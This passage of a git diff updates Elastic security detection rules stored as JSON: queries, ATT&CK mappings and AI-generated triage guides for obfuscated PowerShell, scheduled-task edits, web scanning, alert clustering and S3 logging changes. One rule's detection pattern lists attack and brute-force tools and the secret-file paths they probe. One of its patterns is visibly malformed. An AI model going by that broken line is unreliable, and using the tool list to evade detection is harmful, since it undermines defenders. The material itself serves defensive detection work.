\"\ud83d\udd25\")\n\n// Count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| EVAL count = LENGTH(replaced_with_fire) - LENGTH(REPLACE(replaced_with_fire, \"\ud83d\udd25\", \"\"))\n\n// Keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| KEEP count, replaced_with_fire, powershell.file.script_block_text, powershell.file.script_block_id, file.path, powershell.sequence, powershell.total, _id, _index, host.name, agent.id, user.id\n| WHERE count >= 1\n", - "related_integrations": [ - { - "package": "windows", - "version": "^3.0.0" - } - ], - "risk_score": 21, - "rule_id": "9f432a8b-9588-4550-838e-1f77285580d3", - "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Windows", - "Use Case: Threat Detection", - "Tactic: Defense Evasion", - "Data Source: PowerShell Logs", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1027", - "name": "Obfuscated Files or Information", - "reference": "https://attack.mitre.org/techniques/T1027/" - }, - { - "id": "T1140", - "name": "Deobfuscate/Decode Files or Information", - "reference": "https://attack.mitre.org/techniques/T1140/" - } - ] - }, - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0002", - "name": "Execution", - "reference": "https://attack.mitre.org/tactics/TA0002/" - }, - "technique": [ - { - "id": "T1059", - "name": "Command and Scripting Interpreter", - "reference": "https://attack.mitre.org/techniques/T1059/", - "subtechnique": [ - { - "id": "T1059.001", - "name": "PowerShell", - "reference": "https://attack.mitre.org/techniques/T1059/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "9f432a8b-9588-4550-838e-1f77285580d3_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/a02cb68e-7c93-48d1-93b2-2c39023308eb_116.json b/packages/security_detection_engine/kibana/security_rule/a02cb68e-7c93-48d1-93b2-2c39023308eb_116.json new file mode 100644 index 00000000000..6bc78d92a41 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/a02cb68e-7c93-48d1-93b2-2c39023308eb_116.json @@ -0,0 +1,107 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies first-time modifications to scheduled tasks by user accounts, excluding system activity and machine accounts.", + "false_positives": [ + "Legitimate scheduled tasks may be created during installation of new software." + ], + "from": "now-9m", + "history_window_start": "now-14d", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Unusual Scheduled Task Update", + "new_terms_fields": [ + "host.id", + "winlog.event_data.TaskName" + ], + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Unusual Scheduled Task Update\n\nScheduled tasks in Windows environments automate routine tasks, but adversaries can exploit them for persistence by modifying tasks to execute malicious code. The detection rule identifies first-time task modifications by non-system users, flagging potential unauthorized changes. By excluding known system accounts, it focuses on suspicious user activity, aiding in early threat detection.\n\n### Possible investigation steps\n\n- Review the event logs for event code 4702 to identify the specific scheduled task that was modified and the user account responsible for the change.\n- Investigate the user account involved in the modification to determine if it is a legitimate user or potentially compromised. Check for any recent unusual activity associated with this account.\n- Examine the details of the modified scheduled task, including the command or script it is set to execute, to assess if it is potentially malicious or unauthorized.\n- Cross-reference the scheduled task's modification time with other security events or logs to identify any correlated suspicious activities or anomalies.\n- Check the history of the scheduled task to determine if this is the first modification or if there have been previous changes that might indicate a pattern of unauthorized access.\n\n### False positive analysis\n\n- Scheduled task modifications by IT administrators performing routine maintenance can trigger alerts. To manage this, create exceptions for known administrator accounts that regularly update tasks.\n- Software updates or installations by trusted applications may modify scheduled tasks. Identify these applications and exclude their associated user accounts or processes from the rule.\n- Automated scripts or management tools that modify tasks as part of their normal operation can be mistaken for suspicious activity. Document these tools and exclude their activity from detection.\n- Temporary user accounts used for specific projects or tasks might modify scheduled tasks. If these accounts are verified and trusted, consider excluding them from the rule during their active period.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized scheduled task modifications or potential lateral movement by the adversary.\n- Terminate any suspicious processes associated with the modified scheduled task to halt any ongoing malicious activity.\n- Review the modified scheduled task details, including the command or script being executed, and remove or disable any malicious components identified.\n- Reset the credentials of the user account involved in the modification to prevent further unauthorized access, and investigate for any signs of credential compromise.\n- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat has spread to other systems.\n- Implement additional monitoring and alerting for scheduled task modifications across the environment to enhance detection of similar threats in the future.\n", + "query": "event.category: \"iam\" and host.os.type:\"windows\" and event.code: \"4702\" and\n not winlog.event_data.SubjectUserSid: (\"S-1-5-18\" or \"S-1-5-19\" or \"S-1-5-20\") and\n not user.name : *$\n", + "references": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4698" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectUserSid", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "a02cb68e-7c93-48d1-93b2-2c39023308eb", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1053", + "name": "Scheduled Task/Job", + "reference": "https://attack.mitre.org/techniques/T1053/", + "subtechnique": [ + { + "id": "T1053.005", + "name": "Scheduled Task", + "reference": "https://attack.mitre.org/techniques/T1053/005/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "new_terms", + "version": 116 + }, + "id": "a02cb68e-7c93-48d1-93b2-2c39023308eb_116", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35_1.json b/packages/security_detection_engine/kibana/security_rule/a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35_1.json new file mode 100644 index 00000000000..17f65cae3be --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35_1.json @@ -0,0 +1,154 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects unusual spikes in web server requests with uncommon or suspicious user-agent strings. Such activity may indicate reconnaissance attempts by attackers trying to identify vulnerabilities in web applications or servers. These user-agents are often associated with automated tools used for scanning, vulnerability assessment, or brute-force attacks.", + "from": "now-9m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "Web Server Suspicious User Agent Requests", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Web Server Suspicious User Agent Requests\n\nThis rule flags surges of web requests that advertise scanner or brute-force tool user agents, signaling active reconnaissance against your web servers and applications. A common pattern is dirsearch or gobuster sweeping for hidden paths, firing hundreds of rapid GETs across diverse URLs from one host and probing admin panels, backup folders, and robots.txt.\n\n### Possible investigation steps\n\n- Verify whether the activity aligns with approved scanners or uptime checks by cross-referencing inventories, allowlists, change windows, and egress ranges; otherwise enrich the originating IP with ASN, geolocation, and threat reputation to gauge risk.\n- Sample representative requests to identify targeted paths and payloads (e.g., admin panels, .git/.env, backups, traversal, SQLi/XSS markers) and note any successful responses or downloads that indicate information exposure.\n- Analyze request rate, methods, and status-code distribution to separate noisy recon from successful discovery or brute-force patterns, highlighting any POST/PUT with nontrivial bodies.\n- Correlate the same client across hosts and security layers (application/auth logs, WAF/CDN, IDS) to determine whether it is scanning multiple services, triggering signatures, or attempting credential stuffing.\n- Assess user-agent authenticity and evasiveness by comparing HTTP header order/values and TLS fingerprints (JA3/JA4) to expected clients, and verify true client identity via forwarded-for headers if behind a proxy or CDN.\n\n### False positive analysis\n\n- Legitimate, scheduled vulnerability assessments by internal teams (e.g., Nessus, Nikto, or OpenVAS) can generate large volumes of requests with those user-agent strings across many paths.\n- Developer or QA testing using discovery/fuzzing or intercept-proxy tools (Dirsearch, Gobuster, Ffuf, Burp, or OWASP ZAP) may unintentionally target production hosts, producing a short-lived spike with diverse URLs.\n\n### Response and remediation\n\n- Immediately contain by blocking or rate-limiting the originating IPs at the WAF/CDN and edge firewall, and add temporary rules to drop or challenge requests that advertise tool user agents such as \"nikto\", \"sqlmap\", \"dirsearch\", \"wpscan\", \"gobuster\", or \"burp\".\n- If traffic is proxied (CDN/reverse proxy), identify the true client via forwarded headers and extend blocks at both layers, enabling bot management or JS challenges on swept paths like /admin, /.git, /.env, /backup, and common discovery endpoints.\n- Eradicate exposure by removing or restricting access to sensitive files and directories uncovered by the scans, rotating any credentials or API keys found, invalidating active sessions, and disabling public access to administrative panels until hardened.\n- Recover by verifying no unauthorized changes or data exfiltration occurred, tuning per-IP and per-path rate limits to prevent path-sweeps while preserving legitimate traffic, and reintroducing normal rules only after fixes are deployed and stability is confirmed.\n- Escalate to incident response if sensitive files are successfully downloaded (HTTP 200/206 on /.git, /.env, or backups), any login or account creation succeeds, multiple hosts or environments are targeted, or activity persists after blocking via UA spoofing or rapid IP rotation.\n- Harden long term by enforcing WAF signatures for known scanner UAs and path patterns, denying directory listing and direct access to /.git, /.env, /backup and similar artifacts, requiring MFA/VPN for /admin and management APIs, and deploying auto-ban controls like fail2ban or mod_security.\n", + "query": "from logs-network_traffic.http-*, logs-network_traffic.tls-*, logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*\n\n| eval Esql.user_agent_original_lower = to_lower(user_agent.original)\n\n| where\n (url.original is not null or url.full is not null) and\n (\n\t\tEsql.user_agent_original_lower like \"mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/74.0.3729.169 safari/537.36\" or // Nikto\n\t\tEsql.user_agent_original_lower like \"nikto*\" or // Nikto\n\t\tEsql.user_agent_original_lower like \"mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)\" or // Nessus Vulnerability Scanner\n Esql.user_agent_original_lower like \"*nessus*\" or // Nessus Vulnerability Scanner\n\t\tEsql.user_agent_original_lower like \"sqlmap/*\" or // SQLMap\n\t\tEsql.user_agent_original_lower like \"wpscan*\" or // WPScan\n\t\tEsql.user_agent_original_lower like \"feroxbuster/*\" or // Feroxbuster\n\t\tEsql.user_agent_original_lower like \"masscan*\" or // Masscan & masscan-ng\n\t\tEsql.user_agent_original_lower like \"fuzz*\" or // Ffuf\n\t\tEsql.user_agent_original_lower like \"mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/user_agent.original like~ 87.0.4280.88 safari/537.36\" or // Dirsearch\n\t\tEsql.user_agent_original_lower like \"mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)\" or // Dirb\n\t\tEsql.user_agent_original_lower like \"dirbuster*\" or // Dirbuster\n\t\tEsql.user_agent_original_lower like \"gobuster/*\" or // Gobuster\n Esql.user_agent_original_lower like \"*dirsearch*\" or // dirsearch\n\t\tEsql.user_agent_original_lower like \"*nmap*\" or // Nmap Scripting Engine\n Esql.user_agent_original_lower like \"*hydra*\" or // Hydra Brute Forcer\n Esql.user_agent_original_lower like \"*w3af*\" or // w3af Web Application Attack and Audit Framework\n Esql.user_agent_original_lower like \"*arachni*\" or // Arachni Web Application Security Scanner\n Esql.user_agent_original_lower like \"*skipfish*\" or // Skipfish Web Application Security Scanner\n Esql.user_agent_original_lower like \"*openvas*\" or // OpenVAS Vulnerability Scanner\n Esql.user_agent_original_lower like \"*acunetix*\" or // Acunetix Vulnerability Scanner\n Esql.user_agent_original_lower like \"*zap*\" or // OWASP ZAP\n Esql.user_agent_original_lower like \"*burp*\" // Burp Suite\n )\n\n| eval Esql.url_text = case(url.original is not null, url.original, url.full)\n| eval Esql.url_lower = to_lower(Esql.url_text)\n\n| keep\n @timestamp,\n event.dataset,\n user_agent.original,\n source.ip,\n agent.id,\n host.name,\n\tEsql.url_lower,\n Esql.user_agent_original_lower\n| stats\n Esql.event_count = count(),\n Esql.url_path_count_distinct = count_distinct(Esql.url_lower),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id),\n Esql.url_path_values = values(Esql.url_lower),\n Esql.user_agent_original_values = values(Esql.user_agent_original_lower),\n Esql.event_dataset_values = values(event.dataset)\n by source.ip, agent.id\n| where\n Esql.event_count > 50 and Esql.url_path_count_distinct > 10\n", + "related_integrations": [ + { + "package": "nginx", + "version": "^2.0.0" + }, + { + "package": "apache", + "version": "^2.0.0" + }, + { + "package": "apache_tomcat", + "version": "^1.0.0" + }, + { + "package": "iis", + "version": "^1.0.0" + }, + { + "package": "network_traffic", + "version": "^1.1.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.agent_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_dataset_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.host_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.url_path_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.url_path_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.user_agent_original_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + } + ], + "risk_score": 21, + "rule_id": "a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35", + "severity": "low", + "tags": [ + "Domain: Web", + "Domain: Network", + "Use Case: Threat Detection", + "Tactic: Reconnaissance", + "Tactic: Credential Access", + "Data Source: Network Packet Capture", + "Data Source: Nginx", + "Data Source: Apache", + "Data Source: Apache Tomcat", + "Data Source: IIS", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0043", + "name": "Reconnaissance", + "reference": "https://attack.mitre.org/tactics/TA0043/" + }, + "technique": [ + { + "id": "T1595", + "name": "Active Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/", + "subtechnique": [ + { + "id": "T1595.001", + "name": "Scanning IP Blocks", + "reference": "https://attack.mitre.org/techniques/T1595/001/" + }, + { + "id": "T1595.002", + "name": "Vulnerability Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/002/" + }, + { + "id": "T1595.003", + "name": "Wordlist Scanning", + "reference": "https://attack.mitre.org/techniques/T1595/003/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/a6788d4b-b241-4bf0-8986-a3b4315c5b70_2.json b/packages/security_detection_engine/kibana/security_rule/a6788d4b-b241-4bf0-8986-a3b4315c5b70_2.json deleted file mode 100644 index 0193a9296f0..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/a6788d4b-b241-4bf0-8986-a3b4315c5b70_2.json +++ /dev/null @@ -1,95 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies when server access logging is disabled for an Amazon S3 bucket. Server access logs provide a detailed record of requests made to an S3 bucket. When server access logging is disabled for a bucket, it could indicate an adversary's attempt to impair defenses by disabling logs that contain evidence of malicious activity.", - "false_positives": [ - "Bucket logging may be disabled by a system or network administrator. Verify whether the user identity and/or user agent should be making changes in your environment. Bucket component deletions by unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "from": "now-6m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "AWS S3 Bucket Server Access Logging Disabled", - "note": "\n## Triage and analysis\n\n### Investigating AWS S3 Bucket Server Access Logging Disabled\n\nThis rule detects when server access logging is disabled for an S3 bucket in AWS. Such configurations could potentially hide evidence of unauthorized access or malicious activity by preventing the recording of those requests.\n\n#### Detailed Investigation Steps\n\n- **Review the Affected S3 Bucket**: Check the bucket details (`bucketName`) where server access logging has been disabled.\n - Determine the contents and importance of the data stored in this bucket to assess the impact of disabled logging.\n- **Review User Identity and Activity**:\n - Investigate the user (`user_identity.arn`) who made the change. Determine whether this user's role typically involves managing S3 bucket configurations.\n - Examine the authentication method and whether the access key used (`access_key_id`) is routinely used for such configurations or if it has deviated from normal usage patterns.\n - Contact the account owner and confirm whether they are aware of this activity.\n - Considering the source IP address and geolocation of the user who issued the command:\n - Do they look normal for the calling user?\n - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?\n - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?\n- **Contextualize with Recent Changes**: Compare this event against recent changes in S3 configurations. Look for any other recent permissions changes or unusual administrative actions.\n- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in other potentially suspicious activities.\n - Assess whether this behavior is prevalent in the environment by looking for similar occurrences involving other users.\n\n### False Positive Analysis\n\n- Verify the operational requirements that might necessitate disabling access logging, especially in environments where data retention policies are strictly governed for compliance and cost-saving reasons.\n\n### Response and Remediation\n\n- **Immediate Review**: If the change was unauthorized, consider reverting the change immediately to prevent potential data loss.\n- **Enhance Monitoring**: Implement monitoring to alert on changes to logging configurations across your S3 environments.\n- **User Education**: Ensure that users with access to critical resources like S3 buckets are aware of the best practices and company policies regarding data retention and security.\n\n### Additional Information\n\nFor further guidance on monitoring Amazon S3 and ensuring compliance with organizational data retention and security policies, refer to the AWS official documentation on [Monitoring Amazon S3](https://docs.aws.amazon.com/AmazonS3/latest/userguide/monitoring-overview.html).\n", - "query": "any where event.dataset == \"aws.cloudtrail\"\n and event.action == \"PutBucketLogging\"\n and event.outcome == \"success\"\n and not stringContains(aws.cloudtrail.request_parameters, \"LoggingEnabled\")\n", - "references": [ - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketLogging.html", - "https://docs.aws.amazon.com/AmazonS3/latest/userguide/enable-server-access-logging.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.request_parameters", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "a6788d4b-b241-4bf0-8986-a3b4315c5b70", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: Amazon S3", - "Use Case: Asset Visibility", - "Tactic: Defense Evasion", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1562", - "name": "Impair Defenses", - "reference": "https://attack.mitre.org/techniques/T1562/", - "subtechnique": [ - { - "id": "T1562.008", - "name": "Disable or Modify Cloud Logs", - "reference": "https://attack.mitre.org/techniques/T1562/008/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 2 - }, - "id": "a6788d4b-b241-4bf0-8986-a3b4315c5b70_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/ab25369e-ea5e-46f1-9cd5-478a0a4a131a_1.json b/packages/security_detection_engine/kibana/security_rule/ab25369e-ea5e-46f1-9cd5-478a0a4a131a_1.json new file mode 100644 index 00000000000..6f7ff2f4897 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/ab25369e-ea5e-46f1-9cd5-478a0a4a131a_1.json @@ -0,0 +1,109 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule uses alert data to determine when multiple alerts from Elastic Defend involving the same host are triggered. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised.", + "from": "now-60m", + "interval": "30m", + "language": "esql", + "license": "Elastic License v2", + "name": "Multiple Elastic Defend Alerts by Agent", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Multiple Elastic Defend Alerts by Agent\n\nEndpoint security technologies monitor and analyze activities on devices to detect malicious behavior. Adversaries exploit these systems by deploying malware that triggers specific signatures across multiple hosts, indicating a coordinated attack. The detection rule identifies such threats by analyzing alert data for specific malware signatures across several hosts, flagging potential widespread infections for prioritized investigation.\n\n### Possible investigation steps\n\n- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts.\n- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.\n- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.\n- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary.\n- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.\n- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.\n\n### False positive analysis\n\n- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance.\n- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.\n- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.\n- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.\n- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.\n\n### Response and remediation\n\n- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.\n- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.\n- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.\n- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.\n- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.\n- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.\n- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.", + "query": "from logs-endpoint.alerts-* metadata _id\n| eval target_time_window = DATE_TRUNC(24 hours, @timestamp)\n| where event.code in (\"malicious_file\", \"memory_signature\", \"shellcode_thread\", \"behavior\") and\n agent.id is not null and not rule.name in (\"Multi.EICAR.Not-a-virus\")\n| stats Esql.alerts_count = COUNT(*),\n Esql.event_code_distinct_count = count_distinct(event.code),\n Esql.rule_name_distinct_count = COUNT_DISTINCT(rule.name),\n Esql.file_hash_distinct_count = COUNT_DISTINCT(file.hash.sha256),\n Esql.process_name_distinct_count = COUNT_DISTINCT(process.entity_id),\n Esql.event_code_values = VALUES(event.code),\n Esql.rule_name_values = VALUES(rule.name),\n Esql.message_values = VALUES(message),\n Esql.file_path_values = VALUES(file.path),\n Esql.dll_path_values = VALUES(dll.path),\n Esql.process_executable_values = VALUES(process.executable),\n Esql.process_parent_executable_values = VALUES(process.parent.executable),\n Esql.process_command_line_values = VALUES(process.command_line),\n Esql.process_hash_sha256_values = VALUES(process.hash.sha256),\n Esql.file_hash_sha256_values = VALUES(file.hash.sha256),\n Esql.dll_hash_sha256_values = VALUES(dll.hash.sha256) by agent.id\n| where (Esql.event_code_distinct_count >= 2 or Esql.rule_name_distinct_count >= 3 or Esql.file_hash_distinct_count >= 2)\n| keep agent.id,\n Esql.alerts_count,\n Esql.event_code_distinct_count,\n Esql.rule_name_distinct_count,\n Esql.message_values,\n Esql.event_code_values,\n Esql.rule_name_values,\n Esql.process_executable_values,\n Esql.process_parent_executable_values,\n Esql.process_command_line_values,\n Esql.file_path_values,\n Esql.dll_path_values,\n Esql.process_hash_sha256_values,\n Esql.file_hash_sha256_values,\n Esql.dll_hash_sha256_values\n", + "references": [ + "https://github.com/elastic/protections-artifacts/tree/main/yara/rules" + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.alerts_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.dll_hash_sha256_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.dll_path_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_code_distinct_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.event_code_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.file_hash_sha256_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.file_path_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.message_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.process_command_line_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.process_executable_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.process_hash_sha256_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.process_parent_executable_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.rule_name_distinct_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.rule_name_values", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "ab25369e-ea5e-46f1-9cd5-478a0a4a131a", + "severity": "high", + "tags": [ + "Use Case: Threat Detection", + "Rule Type: Higher-Order Rule", + "Resources: Investigation Guide", + "Data Source: Elastic Defend" + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 1 + }, + "id": "ab25369e-ea5e-46f1-9cd5-478a0a4a131a_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/ab8f074c-5565-4bc4-991c-d49770e19fc9_4.json b/packages/security_detection_engine/kibana/security_rule/ab8f074c-5565-4bc4-991c-d49770e19fc9_4.json deleted file mode 100644 index b1a092cc18e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/ab8f074c-5565-4bc4-991c-d49770e19fc9_4.json +++ /dev/null @@ -1,59 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies `CopyObject` events within an S3 bucket using an AWS KMS key from an external account for encryption. Adversaries with access to a misconfigured S3 bucket and the proper permissions may encrypt objects with an external KMS key to deny their victims access to their own data.", - "false_positives": [ - "Administrators within an AWS Organization structure may legitimately encrypt bucket objects with a key from an account different from the target bucket. Ensure that this behavior is not part of a legitimate operation before taking action." - ], - "from": "now-9m", - "language": "esql", - "license": "Elastic License v2", - "name": "AWS S3 Object Encryption Using External KMS Key", - "note": "## Triage and analysis\n\n### Investigating AWS S3 Object Encryption Using External KMS Key\n\nThis rule detects the use of an external AWS KMS key to encrypt objects within an S3 bucket. Adversaries with access to a misconfigured S3 bucket may use an external key to copy objects within a bucket and deny victims the ability to access their own data.\nThis rule uses [ES|QL](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-esql-rule) to look for use of the `CopyObject` operation where the target bucket's `cloud.account.id` is different from the `key.account.id` dissected from the AWS KMS key used for encryption.\n\n#### Possible Investigation Steps:\n\n- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who performed the action. Verify if this actor typically performs such actions and if they have the necessary permissions.\n- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific details of the `CopyObject` action. Look for any unusual parameters that could suggest unauthorized or malicious modifications or usage of an unknown KMS keyId.\n- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access.\n- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the object was copied. Changes during non-business hours or outside regular maintenance windows might require further scrutiny.\n- **Correlate with Other Activities**: Search for related 